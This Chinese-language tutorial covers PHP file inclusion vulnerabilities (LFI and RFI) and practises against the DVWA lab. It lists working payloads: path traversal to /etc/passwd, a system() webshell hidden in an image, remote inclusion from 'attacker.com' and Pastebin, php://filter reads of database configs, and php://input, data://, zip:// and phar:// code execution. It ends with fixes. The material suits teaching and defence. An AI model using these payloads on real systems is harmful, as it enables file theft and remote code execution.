文件包含漏洞
概述
文件包含漏洞(File Inclusion Vulnerability)是一种常见的 Web 安全漏洞,主要出现在使用动态文件包含机制的应用程序中,尤其是 PHP 开发的系统中。虽然其他后端语言(如 Python、Java)也可能存在类似问题,但通常表现为任意文件读取漏洞,而非文件包含漏洞。文件包含漏洞分为 本地文件包含(LFI) 和 远程文件包含(RFI),具体取决于包含的文件来源。
产生原因
开发者没有对用户传入的文件路径做严格限制,导致用户可以包含或读取任意的文件。
文件包含漏洞的根本原因是开发者未对用户输入的文件路径进行严格的验证和过滤,导致攻击者可以操控文件路径,包含或读取任意文件。常见场景包括:
- 动态文件包含:开发者使用用户输入(如 GET、POST 参数)直接拼接文件路径。
- 未限制文件路径:没有对包含的文件路径进行白名单限制或严格校验。
- PHP 配置问题:远程文件包含需要
allow_url_include
设置为ON
,增加了漏洞利用的可能性。
危害
文件包含漏洞可能导致以下严重后果:
- 敏感信息泄露:攻击者可读取系统配置文件(如
/etc/passwd
、数据库配置文件)或敏感代码文件,获取关键信息。 - 代码执行:PHP 文件包含会把包含的任意文件都当做 PHP 代码执行(图片马+文件包含的原理),导致远程代码执行(RCE),甚至直接获取服务器权限(GetShell)。
- 拒绝服务(DoS):包含不存在的文件或大量文件可能导致服务器资源耗尽。
- 跨站脚本攻击(XSS):通过包含恶意文件,攻击者可能植入恶意脚本,触发 XSS 攻击。
挖掘
白盒测试
白盒测试通过审查源代码定位潜在的文件包含漏洞,重点关注 PHP 文件包含函数的使用:
常用文件包含函数:
include
:包含并执行文件,若文件不存在则忽略,继续执行后续代码。
include_once
:同include
,但确保文件只被包含一次。require
:包含并执行文件,若文件不存在则抛出致命错误,返回 500 状态码。require_once
:同require
,但确保文件只被包含一次。
检查参数可控性: 检查这些函数的参数是否直接来源于用户输入。例如:
<?php include($_GET['file']); ?>
上述代码中,
$_GET['file']
未经过滤,攻击者可通过修改file
参数包含任意文件。
黑盒测试
黑盒测试通过构造请求探测是否存在文件包含漏洞,常用方法包括:
参数探测: 检查 URL 中是否包含与文件路径相关的参数,如
file
、page
、path
、lang
等。例如:?page=file1.php ?la=zh
尝试将参数修改为敏感文件路径:
?page=/etc/passwd ?page=../../config/config.inc.php
常见测试目标:
- Linux 系统:尝试读取
/etc/passwd
、/proc/self/environ
或配置文件等。 - Windows 系统:尝试读取
C:\windows\win.ini
等。 - Web 配置文件:尝试读取
config.php
、web.config
等。
- Linux 系统:尝试读取
路径穿越: 使用
../
进行目录穿越,绕过路径限制:?page=../../../../etc/passwd
利用
本地文件包含(LFI)
[!tip]
只有 PHP 才会把包含的文件当成 PHP 代码执行从而 GetShell,其他语言都不行。
本地文件包含允许攻击者读取服务器本地文件或将其作为 PHP 代码执行,从而读取本地文件,泄露敏感信息。以下是常见利用方法:
读取敏感文件
通过绝对路径或相对路径读取系统或应用配置文件。
绝对路径:
?page=/etc/passwd ?page=C:\windows\win.ini
相对路径(路径穿越):
?page=../../../../../../../../etc/passwd ?page=../../../../../../../../windows/win.ini
注意:Windows 系统因盘符限制,
../
可能无法直接到达C:\
,需要结合具体环境测试。
包含图片马(GetShell)
攻击者可通过上传包含恶意 PHP 代码的图片文件(称为“图片马”),结合文件包含漏洞执行代码。例如,在 DVWA 环境中:
上传图片马(如
shell.jpg
包含<?php system($_GET['cmd']); ?>
)。通过文件包含漏洞调用:
?page=../../uploads/eval.png
执行命令:
?page=../../dvwa/hackable/uploads/eval.png body CMD=phpinfo();
注意:需登录后才能访问某些页面,请求时需携带有效 Cookie。
截图路径:
- 执行图片马:
- Cookie 连接:
远程文件包含(RFI)
前提:PHP 配置 allow_url_include = On
。
远程文件包含允许攻击者包含远程服务器上的文件,并将其作为 PHP 代码执行。利用方式包括:
直接包含远程 PHP 文件:
?page=http://attacker.com/eval.php
其中
eval.php
包含恶意代码,如:<?php system($_GET['cmd']); ?>
使用第三方服务: 如果没有自控服务器,可使用 Pastebin 等服务创建包含恶意代码的文件,获取 Raw URL 后包含:
?page=https://pastebin.com/raw/xxxxxx
注意:PHP 需要启用
extension=php_openssl.dll
以支持 HTTPS 链接。方法:修改
php.ini
配置文件,取消extension=php_openssl.dll
前的注释。
示例截图:
- 远程文件包含:
PHP 伪协议/PHP Wrapper
PHP 提供了多种伪协议,可用于文件包含漏洞的利用。以下是常见伪协议及其用法:
file://
- 用途:读取本地文件,仅支持 绝对路径。
- 配置要求:
allow_url_fopen
和allow_url_include
均无要求。
file://绝对路径
#Linux
file:///etc/passwd
#Windows
file://C:/windows/win.ini
file:///C:/windows/win.ini
file://C:\windows\win.ini
file:///C:\windows\win.ini
php://filter
- 用途:读取文件源代码(结果以 Base64 或 ROT13 等编码返回),不执行 PHP 代码。
- 配置要求:
allow_url_fopen
和allow_url_include
均无要求。
php://filter/read=convert.base64-encode/resource=文件的相对路径或绝对路径
#读取 MySQL 数据库的密码
http://192.168.126.120/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../config/config.inc.php
示例截图:
- 读取
file1.php
文件:
提示:返回的 Base64 编码内容需解码以查看源代码。也可使用 ROT13 编码(凯撒密码):
?page=php://filter/string.rot13/resource=../../config/config.inc.php
如果读取的是 PHP 文件,因浏览器渲染问题,需右键查看源代码以看到内容。
php://input
用途:接收 POST 请求数据并作为 PHP 代码执行。
配置要求:
allow_url_fopen
无要求,allow_url_include
需开启。示例: 使用 Burp Suite 或 Hackbar 发送 POST 请求,Body 中包含:
<?php system('whoami'); ?>
请求:
?page=php://input
注意:Hackbar 使用需设置键值对并选择 Raw 模式,或直接使用 Burp Suite 修改请求包。
示例截图:
- php://input 利用:
data://
- 用途:直接嵌入 PHP 代码执行。
- 配置要求:
allow_url_fopen
和allow_url_include
均需开启。 - 示例:
data://text/plain,URL编码后的PHP代码
data://text/plain;base64,base64编码后的PHP代码
注意:Base64 编码中的
+
和=
需再次进行 URL 编码。
示例截图:
- URL 编码后的 PHP 代码:
- Base64 编码后的 PHP 代码:
zip://
- 用途:包含 ZIP 压缩包内的文件,且只能使用绝对路径。
- 配置要求:
allow_url_fopen
和allow_url_include
均无要求。 - 示例:
zip://压缩包的绝对路径%23压缩包内文件的名字
#eval.zip 里面有 eval.php
zip://C:\phpStudy\PHPTutorial\WWW\DVWA\hackable\uploads\eval.zip%23eval.php
示例截图:
- zip:// 利用:
phar://
- 用途:包含 zip 格式压缩包内的文件,且支持非 zip 后缀,适合绕过文件上传限制,支持相对路径和绝对路径。
- 开关要求:
allow_url_fopen
和allow_url_include
均无要求。 - 示例:
phar://压缩包的相对路径或绝对路径/压缩包内的文件
phar://../../hackable/uploads/eval.zip/eval.php
phar://../../hackable/uploads/eval.mp3/eval.php
示例截图:
- phar:// 利用:
修复方法
修复文件包含漏洞需要从代码和配置两个层面入手:
黑名单过滤:
- 黑名单过滤关键字,例如
./
,伪协议。
- 黑名单过滤关键字,例如
白名单限制:
- 使用白名单限制可包含的文件路径,避免动态拼接用户输入。
关闭危险配置:
- 设置
allow_url_include = Off
以禁用 RFI 和某些伪协议(php://input
、data://
)。 - 设置
allow_url_fopen = Off
(如不需要远程文件访问)以进一步降低风险。
- 设置
强制文件前后缀:
在包含文件时强制添加后缀,防止包含非预期文件。
示例:
<?php include("images/".$_GET['file'].".png"); ?>
注意:以上代码如果用户包含的文件是
/etc/passwd
,但是上传的文件实际会被改成images/etc/passwd.png
,系统没有这个文件,包含失败。